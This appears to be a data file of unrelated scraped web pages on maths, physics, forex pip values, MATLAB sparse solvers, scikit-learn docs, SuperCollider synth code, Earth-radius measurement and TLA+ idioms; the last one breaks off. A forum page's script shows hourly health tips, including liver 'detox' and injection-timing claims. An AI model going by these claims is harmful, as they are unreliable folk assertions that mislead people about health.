[ "##", null, "搜索", null, "## 『健康时刻』 <!-- var health_message_7ree=\"\"; day = new Date( ); hr = day.getHours( ); if (( hr >= 0 ) && (hr <= 1 )) health_message_7ree=\"0点~1点：进入睡眠状态，充分恢复体能。\" if (( hr >= 1 ) && (hr <= 2 )) health_message_7ree=\"1点~2点：人体进入浅睡眠阶段，易醒，对痛觉特别敏感。\" if (( hr >= 2 ) && (hr <= 3 )) health_message_7ree=\" 体内大部分器官处于一天中工作最慢的时刻。肝脏紧张地工作，为人体排毒。\" if (( hr >= 3 ) && (hr <= 4 )) health_message_7ree=\"3点~4点：全身处于休息状态，肌肉完全放松。\" if (( hr >= 4 ) && (hr <= 5 )) health_message_7ree=\"4点~5点：血压最低，人体脑部供血最少。所以，此时老年人容易发生心脑血管意外。\" if (( hr >= 5 ) && (hr <= 6 )) health_message_7ree=\"5点~6点：经历了一定时间的睡眠，人体得到了充分休息。此时起床，显得精神饱满。\" if (( hr >= 6 ) && (hr <= 7 )) health_message_7ree=\"6点~7点：血压开始升高，心跳也逐渐加快。\" if (( hr >= 7 ) && (hr <= 8 )) health_message_7ree=\"7点~8点：体温开始上升，人体免疫力最强。\" if (( hr >= 8 ) && (hr <= 9 )) health_message_7ree=\"8点~9点：皮肤有毒物质排除殆尽，性激素含量最高。\" if (( hr >= 9 ) && (hr <= 10 )) health_message_7ree=\"9点~10点：皮肤痛觉降低。此时是就医注射的好时机。\" if (( hr >= 10 ) && (hr <= 11 )) health_message_7ree=\"10点~11点：精力充沛，最适宜工作。\" if (( hr >= 11 ) && (hr <= 12 )) health_message_7ree=\"11点~12点：精力最旺盛，人体不易感觉疲劳。\" if (( hr >= 12 ) && (hr <= 13 )) health_message_7ree=\"12点~13点：经历了一个上午的工作，人体需要休息。\" if (( hr >= 13 ) && (hr <= 14 )) health_message_7ree=\"13点~14点：胃液分泌最多，胃肠加紧工作，适宜进餐，稍感疲乏，需要短时间的休息。\" if (( hr >= 14 ) && (hr <= 15 )) health_message_7ree=\"14点~15点：人体应激能力下降，全身反应迟钝。\" if (( hr >= 15 ) && (hr <= 16 )) health_message_7ree=\"15点~16点：体温最高，工作能力开始恢复。\" if (( hr >= 16 ) && (hr <= 17 )) health_message_7ree=\"16点~17点：血糖升高，脸部最红。\" if (( hr >= 17 ) && (hr <= 18 )) health_message_7ree=\"17点~18点：工作效率最高，肺部呼吸运动最活跃，适宜进行体育锻炼。\" if (( hr >= 18 ) && (hr <= 19 )) health_message_7ree=\"18点~19点：人体痛觉再度降低。\" if (( hr >= 19 ) && (hr <= 20 )) health_message_7ree=\"19点~20点：血压略有升高。此时，人们情绪最不稳定。\" if (( hr >= 20 ) && (hr <= 21 )) health_message_7ree=\"20点~21点：记忆力最强，大脑反应异常迅速。\" if (( hr >= 21 ) && (hr <= 22 )) health_message_7ree=\"21点~22点：脑神经反应活跃，适宜学习和记忆。\" if (( hr >= 22 ) && (hr <= 23 )) health_message_7ree=\"22点~23点：呼吸开始减慢，体温逐渐下降。\" if (( hr >= 23 ) && (hr <= 24 )) health_message_7ree=\"23点~24点：机体功能处于休息状态，一天的疲劳开始缓解。\" document.write(health_message_7ree) //--->\n\n 『 最新图片 』 『 新鲜出炉 』 『 最新关注 』 『 人气热门 』", null, "## :::::会员交流区:::::", null, "GMT+8, 2021-4-20 22:19\n\nPowered by Discuz! X3.4\n\nCopyright © 2001-2020, Tencent Cloud." ]

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[ "# class 10 maths ncert book, solution, maths exemplar, syllabus, sample papers\n\n## class 10 maths ncert book, solution, exemplar, syllabus, sample papers\n\nDownload for class 10 maths ncert book, solution, exemplar, syllabus, sample papers are available below\n\nncert solutions for class 10 maths pdf download for Chapter 1 Real Numbers, Chapter 2 Polynomials, Chapter 3 Pair of Linear Equations in Two Variables, Chapter 4 Quadratic Equations, Chapter 5 Arithmetic Progressions, Chapter 6 Triangles, Chapter 7 Coordinate Geometry, Chapter 8 Introduction to Trigonometry, Chapter 9 Some Applications of Trigonometry, Chapter 10 Circles, Chapter 11 Constructions, Chapter 12 Areas related to Circles, Chapter 13 Surface Areas and Volumes, Chapter 14 Statistics, Chapter 15 Probability can be downloaded in pdf format below (maths ncert solutions are of ncert book of class 10 maths):" ]

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[ "## College Physics (4th Edition)\n\n(a) At the highest point, $v_x = v_i~cos~\\theta$ At the highest point, $v_y = 0$ (b) $t = \\frac{v_i~sin~\\theta}{g}$ (c) $H = \\frac{(v_i~sin~\\theta)^2}{2g}$\n(a) Since $v_x$ is constant, at the highest point, $v_x = v_i~cos~\\theta$ At the highest point, $v_y = 0$ (b) At the maximum height, $v_y = 0$. We can find the time to reach the maximum height: $v_y = v_{0y} +at$ $t = \\frac{v_y-v_{0y}}{a}$ $t = \\frac{0-v_i~sin~\\theta}{-g}$ $t = \\frac{v_i~sin~\\theta}{g}$ (c) We can find he maximum height $H$: $v_y^2 = v_{0y}^2+2a_yH$ $H = \\frac{v_y^2-v_{0y}^2}{2a_y}$ $H = \\frac{0-(v_i~sin~\\theta)^2}{(2)(-g)}$ $H = \\frac{(v_i~sin~\\theta)^2}{2g}$" ]

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[ "### A pip in forex 9\n\nHow to Calculate Pips.\n\nPip is one word you’ll definitely hear in any conversation about forex trading. One of the first subjects you’ll learn in most forex trading courses is just what a pip is and how to calculate pips.\n\nPip is an acronym for point in percentage and it represents the smallest whole unit of movement in a currency pair’s exchange rate. When you complete transactions, you want to know how many pips forex purchases or sales cost. Calculating this number or knowing what a broker charges makes all the difference as you enter the market.\n\nGet Started.\n\nOpen an account in as little as 5 minutes. Spot opportunities, trade and manage your positions from a full suite of mobile and tablet apps.\n\nGet Started.\n\nWhat Does Pip Value Mean? 4 Steps for How to Calculate Pips Value Pip Value Calculations Examples How is Pip Value Used in Forex Trading? Start Building Your Trading Plan Trade Pips with These Top Forex Brokers Frequently Asked Questions Featured Forex Broker: FXTM.\n\nWhat Does Pip Value Mean?\n\nThe “pip value” of a given trading position is its change in value due to a one-pip move in the relevant foreign exchange rate, all other factors remaining equal. The currency that a pip’s value is expressed in should be your account’s base currency. This means the numeric pip value of a position can vary depending on which base currency you specify when you open an account.\n\nIf you trade in an account denominated in a specific currency, the pip value for currency pairs that do not contain your accounting currency are subject to an additional exchange rate. This is due to the fact that you need to convert pip value into your accounting currency to compare it with the pip value of your other positions.\n\nIn practice, this means that the numerical pip value for a trade in EUR/GBP, for example, will generally be higher than for pairs with the U.S. dollar as the base currency because the pound sterling (GBP) trades at a higher relative value than the U.S. dollar.\n\nThis also means that trading EUR/GBP in a single full lot of 100,000 euros can have a more capital-intensive effect on the margin required to hold that position than, for example, trading one lot of \\$100,000 of the U.S. dollar against the Mexican peso or USD/MXN.\n\nDue to the Mexican peso’s low value, the pip value for a \\$100,000 or full lot trade in USD/MXN is only about \\$0.53 compared to \\$13.17 for a full lot of 100,000 euros in EUR/GBP.\n\n4 Steps for How to Calculate Pips Value.\n\nStep 1: Determine the pip size. It is 0.0001 for all currency pairs other than those that contain the Japanese yen when it is 0.01 due to the relatively low value of the Japanese yen.\n\nStep 2: Determine the exchange rate.\n\nStep 3: Use this general formula for calculating the pip value for a particular position size:\n\nPip value = (pip size / exchange rate) x position size.\n\nStep 4: Convert the pip value into your accounting currency using the prevailing exchange rate.\n\nPip Value Calculations Examples.\n\nKeep reading to understand how to calculate pips across different currencies. While you want to know how to calculate these values, you also want to know how brokers make these decisions. When you can see both sides of the equation, you have a better understanding of how to make appropriate trades.\n\n1. For Pairs with the U.S. Dollar as the Counter Currency.\n\nThe same pip values apply to all currency pairs with the U.S. dollar traded as the counter currency in an account denominated in U.S. dollars. Major currency pairs such as EUR/USD, GBP/USD, AUD/USD and NZD/USD all have the U.S. dollar as the counter currency.\n\nBasically, the movement of a currency pair such as EUR/USD from 1.2000 to 1.2001 would represent a one pip rise in the exchange rate, so the pip size in EUR/USD is 0.0001. This one pip movement would equal a shift in value of \\$0.10 on a micro lot of 1,000 euros, \\$1 on a mini lot of 10,000 euros and \\$10 for a full lot of 100,000 euros. Those would be your pip values when trading in a U.S. dollar denominated account.\n\nTherefore, to calculate the pip value for EUR/USD when the pip size is 0.0001, the spot rate is 1.12034 and you are trading a position size of €100,000, you would plug that information into the formula shown in Step 3 above as follows:\n\n(0.0001 / 1.12034) X €100,000 = €8.925861791956013.\n\nPerforming that calculation yields the pip value of €8.925861791956013. If you're calculating the U.S. dollar amount of this pip value, you take the pip value of €8.925861791956013. Then convert it into U.S. dollars by multiplying it by the EUR/USD exchange rate of 1.12034 as follows:\n\n€8.925861791956013 X 1.12034 \\$/€ = \\$10.\n\nTherefore, the pip value for a position size of €100,000 when the EUR/USD exchange rate is trading at 1.12034 is €8.925861791956013 in a euro-denominated account or \\$10 in an account denominated in U.S. dollars.\n\n2. For Pairs with the U.S. Dollar as the Base Currency.\n\nMost other currency pairs have the U.S. dollar as the base currency, such as USD/JPY and USD/CAD, for example, and they have different pip values. To calculate the pip value where the USD is the base currency when trading in a U.S. dollar-denominated account, you need to divide the position size by the exchange rate.\n\nFor example, if the USD/CAD exchange rate is trading at 1.3000 and you have a \\$100,000 position, then the pip value is one pip or 0.0001 x \\$100,000 equals CAD\\$10 since the Canadian dollar is the counter currency.\n\nIf you then wanted to convert that pip value into U.S. dollars, you would need to divide by the USD/CAD exchange rate of 1.3000 Canadian dollars per U.S. dollar, thereby yielding a USD pip value for that \\$100,000 position of \\$7.692307692307692.\n\n3. Computing Pip Values for Cross Currency Pairs.\n\nTo find the pip value of a currency pair where neither currency is the account currency, for example, when you are trading the EUR/GBP cross currency pair in a U.S. dollar-denominated account, you multiply the standard 10 pip value per full lot by the counter currency/account currency exchange rate, or GBP/USD in this example.\n\nIf the GBP/USD rate is 1.3000, that gives you a pip value of 10 x 1.3000 or \\$13 for a EUR/GBP full lot position of 100,000 euros.\n\n4. Pip Value Calculation Shortcuts.\n\nIn general, if you trade in an account denominated in a particular currency and the currency the account is denominated in is the counter currency of a currency pair, then a short cut to the pip value calculation exists that is rather easy to remember.\n\nBasically, positions in that pair will have a fixed pip value of 0.10, 1 or 10 counter currency units respectively, depending on if you are trading a mini, micro or full lot.\n\nFor example, if your trading account with an online broker is funded with U.S. dollars, then any currency pair with the USD as the counter currency, such as EUR/USD, GBP/USD, AUD/USD or NZD/USD, will have a pip value of \\$0.10 for a micro lot of 1,000 base currency units, \\$1 for a mini lot of 10,000 base currency units or \\$10 for a full lot of 100,000 base currency units.\n\nTo find the pip value when the USD is listed as the base currency, as in USD/JPY or USD/CAD, for an account denominated in U.S. dollars, divide the above-listed standard pip values per lot by the relevant exchange rate.\n\nThus, if you are trading a full lot of \\$100,000 in the USD/CAD pair, then you divide the standard 10 pip value per full lot by the USD/CAD exchange rate. If the USD/CAD pair is trading at 1.3400, you will arrive at the correct pip value of 10 / 1.3400 = \\$7.462686567164179 or \\$7.46 per full lot when trading in an account denominated in U.S. dollars.\n\nHow is Pip Value Used in Forex Trading?\n\nPip values give you a useful sense of the risk involved and margin required per pip when taking a position in currency pairs of similar volatility levels. Without performing a precise calculation of the pip value in a currency pair, an accurate assessment of the risk you are taking by holding a position in a given currency pair cannot be made.\n\nIn addition, since forex transactions are typically leveraged, the pip value of positions gets multiplied by the amount of leverage used. By knowing the pip value of a currency pair, you can use money management techniques to calculate the ideal position size for any trade within the limits of the size of your account and your risk tolerance. Without this knowledge, you might wind up taking either too much or too little risk on a trade.\n\nIn order to build a comprehensive and effective trading plan, incorporate sound money-management techniques that include position sizing. Understanding how many pips forex transactions cost is often the first step in your investment journey. Not only are you determining fees paid, but you’re assessing the total value of your position.\n\nKnowing the pip value of each currency pair you trade or plan on trading expressed in your account currency gives you a much more precise assessment of how many pips of risk you are taking in any given currency pair.\n\nPip value also helps you assess if the position risk you have or are planning to take is affordable and aligned with your risk appetite and account size.\n\nTrade Pips with These Top Forex Brokers.\n\nTrading forex with a reputable broker you can trust is an important part of currency trading. Now that you know how to calculate pips, take your forex trading to the next level with these top forex brokers." ]

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[ "Lxs\n\nFactor k\n\n(equation (5.5a); EC5, equation (6.27)) ky = 0.5 • [1 + jc • (Xrel.y - 0.3) + X?el.y]\n\nInstability factor about the y-y axis (equation (5.4a); EC5, equation (6.25))\n\nFactor kZ\n\n(equation (5.5b); EC5, equation (6.28)) kz = 0.5[1 + jc • (Xrel.z - 0.3) + X?el.z]\n\n0 0" ]

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[ "# Improving performance of X = A \\ B.\n\n36 views (last 30 days)\nCedric Wannaz on 28 Oct 2016\nCommented: Cedric Wannaz on 16 Aug 2018\nLast edit: section \"EDIT 11/08/2016\"\nDear all,\nHow would you improve the performance in the computation of:\nX = A \\ B ;\nwhere A is a n x n non-symmetric sparse matrix, B a n x m array, and X a n x m array? It represents m solutions corresponding to m emission scenarios in my model (compartmental model of size n). Typical values for n are in the range 1e5-1e6, and m can be adjusted: I have e.g. 1e4 scenarios that I solve by group/block. I provide an example with n~1e5 and m=50 which is good for profiling (~3s on my laptop): MAT-File, stored externally because it is slightly larger than 5MB.\nArray B is generally dense, and matrix A has a density of ~6.5e-5 and the following structure:", null, "Given the size in memory of these arrays (~11MB for A and 1KB for B), I thought that they could be transferred to the GPU and gathered at little cost, but when I try I get:\nError using \\\nSparse gpuArrays are not supported for this function.\nI saw other threads that mention that \\ is not yet? supported for sparse arrays (e.g. ref1, ref2).\nI tried using TomLab TLSQR but with little success (TomLab may have another tool for this, but I didn't find it).\nI also tried using Tim Davis' SuiteSparse UMFPACK. I think that MATLAB implemented part of this code, so I wasn't surprised to see the same performance between MATLAB MLDIVIDE and UMFPACK. I saw that SuiteSparse can be compiled with GPU support, but I wanted to ask here before going this way.\nI didn't explore other, maybe more algebraic options, transformations, etc yet. Does anything jump to your mind? The A matrix is defined by block (6 x 6, not delineated here but \"somehow visible\"). The filling of each block can vary, but the density is rather stable.\nThank you,\nCedric\n(MATLAB 2016b Windows/Linux)\nEDIT 10/31/2016\nI have to add that I implemented explicitly a parallel approach working with cell arrays of blocks of both X and B, i.e. something like:\nX_blocks = cell( size( B_blocks )) ;\nparfor k = 1 : numel( B_blocks )\nX_blocks{k} = A \\ B_blocks{k} ;\nend\nbut I thought that, given what is implemented in MLDIVIDE is a Multi-frontal method, the parallelization could happen at a much lower level using either/both a parallel pool or/and a GPU device(?) Or is it possible to use distributed ( ref ) in some way to avoid repeated factorization of A ( ref )?\nEDIT 11/02/2016\nAfter giving a try to iterative solvers (see Sean part of the thread), I went on trying direct approaches. I am attaching a test script that profiles MLDIVIDE, MLDIVIDE parallel by block, FACTORIZE (by Tim Davis), FACTORIZE parallel by block, and an explicit implementation of what factorize does for non-symmetric sparse matrices ( LU -> L, U, P, Q, R and then relevant series of MLDIVIDE). I obtain the following results:\nTest simple MLDIVIDE (\\) on large B ..\n- Total time : 14.5s\n- Max rel. residual: 6.6e-16\nTest parallel MLDIVIDE (\\) on cell B ..\n- Total time : 11.0s\n- Max rel. residual: 6.6e-16\nTest simple FACTORIZE on large B ..\n- Time factorize : 1.0s\n- Total time : 10.5s\n- Max rel. residual: 3.1e-15\nTest parallel FACTORIZE on cell B ..\n- Time factorize : 1.0s\n- Total time : 9.0s\n- Max rel. residual: 3.1e-15\nTest simple LU, etc on large B ..\n- Time factorize : 0.9s\n- Total time : 10.2s\n- Max rel. residual: 3.1e-15\nTest parallel LU, etc on cell B ..\n- Time factorize : 0.9s\n- Total time : 8.9s\n- Max rel. residual: 3.1e-15\nwhere the rational for using FACTORIZE and the explicit formula (LU, etc) is that matrix A is the same for all blocks (when parallelized), and should not be repeatedly factorized. This approach works best (especially with my real, much larger, B arrays), but I'd still be interested to know if it is possible to do better with iterative approaches and possibly on GPU(?)\nEDIT 11/08/2016\nI performed quick tests overnight that I am summarizing here. I observed that the block/parallel approach ( X{k}=Q*(U\\(L\\(P*(R\\B_cell{k})))) in a PARFOR loop, after explicitly factorizing A ) is almost always more time efficient than direct MLDIVIDE ( solving X=A\\B in one shot), and I wanted to test it as a function of the system size and the number of columns in B. My test script loops through system sizes from 100 to 90,000, and through numbers of columns of blocks of B from 1 to 100 ( B itself has 200 columns). For each system size, I measure the time for solving X=A\\B in one shot, and the time for solving it by block for the aforementioned block sizes. The code for solving by block is as follows:\nB_cell = mat2cell( B, B_nRows, Bblock_nCols ) ;\nX = cell( size( B_cell )) ;\nparfor k = 1 : numel( B_cell )\nX{k} = Q * (U \\ (L \\ (P * (R \\ B_cell{k})))) ;\nend\nX = [X{:}] ;\nwhere factors of A were obtained as follows outside of the loop that iterates through block sizes:\n[L, U, P, Q, R] = lu( A ) ;\nI obtain the following results:", null, "Aside from the fact that it is a valid, lengthy approach for generating a sunset landscape, it strikes me that there is no clear pattern with block size. I thought that I would observe something function of the size of the cache, because the maximum block size is ~9e4*100*8/1e6 -> 72MB > 8MB Xeon 1505M cache. The second interesting point is that direct solving is almost always slower than an explicit block/PARFOR approach (plot on the right). Finally, it seems that overall \"PARFOR-ing\" a lot with small bock sizes is most efficient (bottom plot: for each system size, I compute times/max(times), and I plot the mean over all system sizes).\nThis result is a bit counter-intuitive to me; I thought that I would get a pattern that would allow me to determine the maximum block size for each system size, as a function of the amount of cache in the CPU, and that this max block size would be optimal regarding time efficiency of the block/PARFOR approach.\nAny thoughts/insights?\nOTHER REFERENCES\n• Ref : Jill mentions factorization of A.\n• Ref : Jill mentions distributed.speye.\n• Ref : Doc of SPPARMS, with mention of the UMFPACK parameter (60 times slower than default in my case).\n• Ext ref : The Multifrontal Method for Sparse Matrix Solution: Theory and Practice, Joseph W. H. Liu, SIAM Review, Vol. 34, No. 1 (Mar., 1992), pp. 82-109.\n\n#### 1 Comment\n\nCedric Wannaz on 22 Sep 2017\n\nSean de Wolski on 31 Oct 2016\nRather than calling \\, you can call bicg and gmres on sparse gpuArrays.\n\nShow 1 older comment\nCedric Wannaz on 2 Nov 2016\nThank you Sean and Joss. I tried iterative solvers GMRES, PCG, BICG, and BICGSTAB, but none is converging (even with maxit = 1000).\nI tried a few conditioners but I have not been even close to successful. Given the filling displayed above, do you see any \"obvious\" sound approach for conditioning?\nIn the mean time, I went on with direct approaches, as explained in my edited question.\nRoyi Avital on 14 Aug 2018\nHow does MATLAB's `pcg()` compares to Intel MKL's PCG implementation performance wise?\nCedric Wannaz on 16 Aug 2018\nRoyi, you should post this as a new question, because this is an old thread." ]

[ null, "https://www.mathworks.com/matlabcentral/answers/uploaded_files/157478/image.png", null, "https://www.mathworks.com/matlabcentral/answers/uploaded_files/157479/image.png", null ]

[ "# sklearn.metrics.mean_tweedie_deviance¶\n\nsklearn.metrics.mean_tweedie_deviance(y_true, y_pred, *, sample_weight=None, power=0)[source]\n\nMean Tweedie deviance regression loss.\n\nRead more in the User Guide.\n\nParameters\ny_truearray-like of shape (n_samples,)\n\nGround truth (correct) target values.\n\ny_predarray-like of shape (n_samples,)\n\nEstimated target values.\n\nsample_weightarray-like of shape (n_samples,), default=None\n\nSample weights.\n\npowerfloat, default=0\n\nTweedie power parameter. Either power <= 0 or power >= 1.\n\nThe higher p the less weight is given to extreme deviations between true and predicted targets.\n\n• power < 0: Extreme stable distribution. Requires: y_pred > 0.\n\n• power = 0 : Normal distribution, output corresponds to mean_squared_error. y_true and y_pred can be any real numbers.\n\n• power = 1 : Poisson distribution. Requires: y_true >= 0 and y_pred > 0.\n\n• 1 < p < 2 : Compound Poisson distribution. Requires: y_true >= 0 and y_pred > 0.\n\n• power = 2 : Gamma distribution. Requires: y_true > 0 and y_pred > 0.\n\n• power = 3 : Inverse Gaussian distribution. Requires: y_true > 0 and y_pred > 0.\n\n• otherwise : Positive stable distribution. Requires: y_true > 0 and y_pred > 0.\n\nReturns\nlossfloat\n\nA non-negative floating point value (the best value is 0.0).\n\nExamples\n\n>>> from sklearn.metrics import mean_tweedie_deviance\n>>> y_true = [2, 0, 1, 4]\n>>> y_pred = [0.5, 0.5, 2., 2.]\n>>> mean_tweedie_deviance(y_true, y_pred, power=1)\n1.4260..." ]

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[ "# Person's question at Yahoo! Answers regarding the application of the binomial theorem\n\n#### MarkFL\n\nStaff member\nHere is the question:\n\nHow to expand this binomial expansion?\n\na.) (x - 2y)^3\n\nwith the equation:\n\n(n over r) x [a^(n-r)] x (b^r)\n\nThank you!!!\nI have posted a link there to this topic so the OP can see my work.\n\n#### MarkFL\n\nStaff member\nHello Person,\n\nThe binomial theorem may be stated as:\n\n$$\\displaystyle (a+b)^b=\\sum_{r=0}^{n}{n \\choose r}a^{n-r}b^r$$\n\nAnd so, for the given binomial to be expanded, we have:\n\n$$\\displaystyle (x-2y)^3=(x+(-2y))^3=\\sum_{r=0}^{3}{3 \\choose r}x^{n-r}(-2y)^r$$\n\n$$\\displaystyle (x-2y)^3={3 \\choose 0}x^3(-2y)^0+{3 \\choose 1}x^2(-2y)^1+{3 \\choose 2}x^1(-2y)^2+{3 \\choose 3}x^0(-2y)^3$$\n\n$$\\displaystyle (x-2y)^3=1\\cdot x^3\\cdot1+3x^2(-2y)+3x(-2y)^2+1\\cdot1\\cdot(-2y)^3$$\n\n$$\\displaystyle (x-2y)^3=x^3-6x^2y+12xy^2-8y^3$$" ]

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[ "# «three kicks» bysnappizz\n\non 06 Jun'17 17:55 in\n\nsome kick drums i wrote back in january. my favorite is #2\n\n```1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n40\n41\n42\n43\n44\n45\n46\n47\n48\n49\n50\n51\n52\n53```\n```(\nSynthDef(\\kick1, {\nvar snd;\nsnd = DC.ar(0);\nsnd = snd + (SinOsc.ar(XLine.ar(800, 400, 0.01)) * Env.perc(0.0005, 0.01).ar);\nsnd = snd + (BPF.ar(Hasher.ar(Sweep.ar), XLine.ar(800, 100, 0.01), 0.6) * Env.perc(0.001, 0.02).delay(0.001).ar);\nsnd = snd + (SinOsc.ar(XLine.ar(172, 50, 0.01)) * Env.perc(0.0001, 0.3, 1, \\lin).delay(0.005).ar(2));\nsnd = snd.tanh;\nOut.ar(\\out.kr(0), Pan2.ar(snd, \\pan.kr(0), \\amp.kr(0.1)));\n)\n\nSynth(\\kick1, [amp: 0.4]);\n\n(\nSynthDef(\\kick2, {\nvar snd;\nsnd = DC.ar(0);\nsnd = snd + (HPF.ar(Hasher.ar(Sweep.ar), 1320) * Env.perc(0.003, 0.03).ar * 0.5);\nsnd = snd + (SinOsc.ar(XLine.ar(750, 161, 0.02)) * Env.perc(0.0005, 0.02).ar);\nsnd = snd + (SinOsc.ar(XLine.ar(167, 52, 0.04)) * Env.perc(0.0005, 0.3).ar(2));\nsnd = snd.tanh;\nOut.ar(\\out.kr(0), Pan2.ar(snd, \\pan.kr(0), \\amp.kr(0.1)));\n)\n\nSynth(\\kick2, [amp: 0.4]);\n\n(\nSynthDef(\\kick3, {\nvar snd;\nsnd = DC.ar(0);\nsnd = snd + (SinOsc.ar(XLine.ar(1500, 800, 0.01)) * Env.perc(0.0005, 0.01, curve: \\lin).ar);\nsnd = snd + (BPF.ar(Impulse.ar(0) * SampleRate.ir / 48000, 6100, 1.0) * 3.dbamp);\nsnd = snd + (BPF.ar(Hasher.ar(Sweep.ar), 300, 0.9) * Env.perc(0.001, 0.02).ar);\nsnd = snd + (SinOsc.ar(XLine.ar(472, 60, 0.045)) * Env.perc(0.0001, 0.3, curve: \\lin).delay(0.005).ar(2));\nsnd = snd.tanh;\nOut.ar(\\out.kr(0), Pan2.ar(snd, \\pan.kr(0), \\amp.kr(0.1)));\n)\n\nSynth(\\kick3, [amp: 0.4]);\n\n/*\ncontributors so far: nathan ho\n\ni use Hasher.ar(Sweep.ar) as a quick way to generate deterministic white noise, so i can get exactly the same kick each time for a precise digital sampler effect. you are free to replace it with WhiteNoise.ar.\n\nthe DC.ar(0) does nothing, it's just so i can reorder all the \"snd = snd +\" lines and/or comment out parts of the synth.\n\nsome of the attacks are so fast that Env:kr doesn't correctly handle them. that's why i always use Env:ar, so i don't have to think about ar/kr when i'm messing with sharp envelope attacks. i'm sure many of them could be refactored to kr for CPU, but idc\n*/```\nraw 2147 chars (focus & ctrl+a+c to copy)\nreception" ]

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[ "# Using Google Earth to get the radius of the earth\n\nGoogle Earth, Google Maps, Apple Maps, Waze, Bing Maps, Garmin, Tom Tom, and other mapping and navigation products are all accurate enough to get flat earthers to their destination.  The coordinates from GPS devices are not disputed by flat earthers as far as I have seen.  If you accept these coordinates we can use the data from these products to obtain the radius of the earth.\n\n## Equatorial radius 1\n\nThe earth has been divided into 360 degrees in the east-west direction.  These are the lines of longitude.  If we measure the distance between two points one degree apart and multiply by 360 we will get the equatorial circumference.  This can be done in software like Google Earth or other products.  If there is doubt about the accuracy of these measurements it can be tested by traveling to these locations and measuring.\n\nThis can be tested for any place on the equator.  Gabon, The Republic of the Congo, The Democratic Republic of the Congo, Uganda, Kenya, Somalia, Indonesia, Ecuador, Columbia, or Brazil.\n\nHere is Google Earth measuring from (00° 00′ 00″, 09° 20′ 00″) on the west coast of Gabon in Africa to (00° 00′ 00″, 10° 20′ 00″).  The distance is 111,303.72 meters.  Multiplying by 360 gives 4,0069,339.2 meters for the circumference.  Knowing that c=2πr we can solve for the radius and get 6,377,233.4 meters.\n\n## Equatorial radius 2\n\nIf getting someone to measure the distance at the equator is too remote, you can do the same type of measurement anywhere.  Take a distance measurement from two different points on the same latitude, any angular distance is fine, longer distances will have a lower margin of error.  Multiply this distance by the appropriate amount based on the portion of the earth’s angular circumference this covers to get the circumference around that line of latitude then divide by the cosine of the latitude to get the equatorial latitude.\n\nIn this example, we take a 15 arcminute section of the -37° 45′ 00″ line of latitude.  This goes through Melbourne, Australia and suburbs.  This area is selected because people use GPS devices in this area daily for transportation.  There is no question about the accuracy of coordinates and distances within this area.\n\n(-37° 45′ 00″, 144° 45′ 00″) to (-37° 45′ 00″, 145° 00′ 00″) is a distance of 15 arcminutes and measures to 22,037.07 meters.  Multiply by 4 to get the length of one degree: 88,148.28 meters.  Multiply by 360 to get the line of latitude circumference: 31,733,380.8 meters.  Divide by the cosine of the latitude to get the equatorial circumference:\nLatitude: 37° 45′ is 37.75°\nCosine(37.75) = 0.790689573\n\nThis gives 40,133,804.5 meters for the equatorial circumference.  Knowing that c=2πr we can solve for the radius and get 6,387,493.4 meters.\n\nWe can use the same method to get the polar radius.  This is easier to verify since you can do it along any line of longitude, even near your home.  For this example, I will start from the same location on the coast of Gabon and measure south.  From (00° 00′ 00″, 09° 20′ 00″) to (-01° 00′ 00″, 09° 20′ 00″) gives a distance of 110,586.42 meters.  Multiply by 360 and we get a circumference of 39,811,111.2 meters.  Knowing that c=2πr we can solve for the radius and get 6,336,135.1 meters.\n\nThe distance between lines of latitude are well known to be 60 nautical miles.  This is originally how the distance for nautical miles was defined.  Using this knowledge we get 21,600 nautical miles for the polar circumference or 40,003,200 meters.  Knowing that c=2πr we can solve for the radius and get 6,366,707.0 meters.\n\n## Comparison to accepted values\n\nUsing Google Earth which uses the same underlying data as the other mapping products gives an equatorial radius of 6,377,233.4 meters and 6,387,493.4 meters.\n\nThe accepted equatorial radius is 6,378,137 meters.  The percentage of errors are 0.0141671% and 0.146695%." ]

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[ "# Idiom 1: Update state variables with assignments\n\n## Description\n\nThe idiom \"Keep state variables to the minimum\" tells us to store the minimum necessary state variables. By following this idiom, we develop the specification by writing constraints over the primed variables.\n\nTLA+ comes with a great freedom of expressing constraints over variables. While we love TLA+ for that freedom, we believe that constraints over primed variables are sometimes confusing. TLA+ uses the same glyph, = for three separate purposes: assignment, asserting equality, and binding variables. But these are very different operations and have different semantics.\n\n### Issue 1\n\ntl;dr: Use := (supplied by the Apalache.tla module) instead of = for assignment.\n\nConsider the expression:\n\n x' = x + 1\n\n\nIt is all clear here. The value of x in the next states (there may be many) is equal to val(x)+1, where val(x) is the value of x in the current state.\n\nWait. Is it clear? What if that expression was just the first line of the following expression:\n\n x' = x + 1\n=> x' = 3\n\n\nThis says, \"if x' is equal to x + 1, then assign the value of 3 to x' in the next state\", which implies that x' may receive a value from the set:\n\n { 3 } \\union { y \\in Int: y /= val(x) + 1 }\n\n\nBut maybe the author of that specification just made a typo and never meant to put the implication => in the first place. Actually, the intended specification looks like follows:\n\n x' = x + 1\n\\/ x' = 3\n\n\nWe believe that it is helpful to label the expressions that intend to denote the values of the state variables in the next state. Apalache introduces the infix operator := in the module Apalache.tla for that purpose:\n\n x' := x + 1\n\\/ x' := 3\n\n\nHence, it would be obvious in our motivating example that the author made a typo:\n\n x' := x + 1\n=> x' := 3\n\n\nbecause the assignment x' := x + 1 does not express a boolean value and so cannot be the antecedent of the conditional.\n\n### Issue 2\n\ntl;dr: Use existential variables with the := operator for non-deterministic assignment.\n\nAnother common use of primed variables is to select the next value of a variable from a set:\n\n x' \\in { 1, 2, 3 }\n\n\nThis expression can be rewritten as an equivalent one:\n\n \\E y \\in { 1, 2, 3 }:\nx' = y\n\n\nWhich one to choose? The first one is more concise. The second one highlights the important effect, namely, non-deterministic choice of the next value of x. When combined with the operator :=, the effect of non-deterministic choice is clearly visible:\n\n \\E y \\in { 1, 2, 3 }:\nx' := y\n\n\nIn fact, every constraint over primes can be translated into the existential form. For instance, consider the expression:\n\n x' * x' = 4\n\n\nIt can be written as:\n\n \\E y \\in Int:\n/\\ y * y = 4\n/\\ x' := y\n\n\n• Non-determinism is clearly isolated in existential choice: \\E y \\in S: x' := y. If there is no existential choice, the assignment is deterministic.\n\n• When the existential form is used, the range of the values is clearly indicated. This is in contrast to the negated form such as: ~(x' = 10).\n\n• TLC treats the expressions of the form x' = e and x' \\in S as assignments, as long as x' is not bound to a value.\n\n• Apalache uses assignments to decompose the specification into smaller pieces. Although Apalache tries to find assignments automatically, it often has to choose from several expressions, some of them may 